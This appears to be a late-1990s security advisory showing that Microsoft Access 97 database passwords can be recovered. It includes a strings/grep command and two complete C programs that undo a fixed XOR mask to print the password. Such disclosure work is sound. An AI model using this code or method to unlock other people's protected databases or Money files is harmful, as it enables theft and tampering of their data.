COMMAND
MS Access97
SYSTEMS AFFECTED
Systems running MS Access 97
PROBLEM
Donald Moore (MindRape) found following. Microsoft Access 97
databases protected with a password are stored in foreign mdb's
table attachements as plaintext. This can be accessed very easily
by issuing a strings and grep operation on the foreign mdb.
Example:
% strings db1.mdb | grep -i "pwd"
MS Access;PWD=plaintext;Table2pppppppjI'%
MS Access;PWD=plaintext;Table1qqqqqqqkJ(&
Having the password allows the secured mdb to be unlocked, giving
permission to view database objects, possibily revealing other
database connection strings, propiertary source code, tampering of
data. One such commercial database marketed by FMS, Inc., Total
VB SourceBook 6.0, can be easily compromised using this method.
How to recreate?
1. Create an mdb
2. Create a Table
3. Reopen the new mdb in exclusive mode
4. From the Tools Menu, select Security and then click Set
Database Password
5. Set database password
6. Exit Access
7. Create another mdb
8. From the File Menu, select Get External Data, and click
Link Tables.... Select the passworded mdb and then select
the table you created.
9. Exit Access
10. Perform a strings+grep on the 2nd mdb to reveal the
password.
Furthermore, take a look at following (by Adam Shostack and Jim
Paris). Access97 passwords are stored in the 13 bytes from offset
0x42 in a .mdb file (Access 97 actually allows a user to enter a
14 char password, although only the first 13 chars are stored and
verified). Do a bitwise XOR with 0x86, 0xFB, 0xEC, 0x37, 0x5D,
0x44, 0x9C, 0xFA, 0xC6, 0x5E, 0x28, 0xE6, 0x13, 0xD8 to recover
the plaintext (if the first byte is 0x86 the password is not
checked!?). Here's a quick program to test this lack of security:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
FILE *mdb; int i; char ch;
int secret[14]={
0x86,0xFB,0xEC,0x37,
0x5D,0x44,0x9C,0xFA,
0xC6,0x5E,0x28,0xE6,
0x13,0xD8
};
if(argc<2) {
fprintf(stderr,"usage: %s filename.mdb\n",argv[0]);
return 1;
}
if((mdb=fopen(argv[1],"rb"))==NULL) {
fprintf(stderr,"%s: can't open %s\n",argv[0],argv[1]);
return 1;
}
fseek(mdb,0x42,SEEK_SET);
printf("The password is: ");
for(i=0;i<14;i++)
{
if((ch=fgetc(mdb)^secret[i])==0) break;
putchar(ch);
}
if(i==0) printf("(none)");
putchar('\n');
fclose(mdb);
return 0;
}
Nate Lawson took the XOR sequence Adam posted and put together a
little code around it. It should compile on most Unix platforms
as well as Windows.
/*
* "Decrypt" Microsoft Access 97 Database Passwords
*
* Nate Lawson <nate@root.org>
* 2/9/99
*
* XOR sequence taken from a post by Adam Shosthack <adam@homeport.org>
* Access 97 actually allows a user to enter a 14 char password, although
* only the first 13 chars are stored and verified.
*/
#ifdef WIN32
#include <windows.h>
#endif
#include <stdio.h>
main (int ac, char *av[])
{
FILE *fp;
int i;
unsigned char passBuf[14], xorString[] = { 0x86, 0xFB, 0xEC, 0x37,
0x5D, 0x44, 0x9C, 0xFA, 0xC6, 0x5E, 0x28, 0xE6, 0x13 };
if (ac != 2) {
fprintf(stderr, "Usage: %s filename.mdb\n", av[0]);
exit(1);
}
/* Open file, read password into buffer */
if ((fp = fopen(av[1], "rb")) == NULL) {
fprintf(stderr, "Unable to open %s\n", av[1]);
exit(1);
}
if ((fseek(fp, 0x42, SEEK_SET)) < 0) {
fprintf(stderr, "Unable to seek. File truncated?\n");
exit(1);
}
if ((fread(passBuf, sizeof(passBuf) - 1, 1, fp)) < 0) {
fprintf(stderr, "Cannot read file: %s\n", av[1]);
exit(1);
}
/* Unmask password and print out results */
for (i = 0; i < sizeof(passBuf) - 1; i++)
passBuf[i] ^= xorString[i];
passBuf[sizeof(passBuf) - 1] = '\0';
printf("Password is:\n %s (ascii)\n ", passBuf);
for (i = 0; i < sizeof(passBuf) - 1; i++)
printf("0x%x ", passBuf[i]);
printf("(hex)\n");
exit(0);
}
This also affect Microsoft Money.. as it stores it's details in a
Access MDB format. You can use the all-access program from
before to find out your Money password.
SOLUTION
Nothing yet. Seems like this works with all known SRs. Changing
permission won't get you anywhere since all attacker needs is read
permission and if you remove it as that would effectively render
the linked table useless.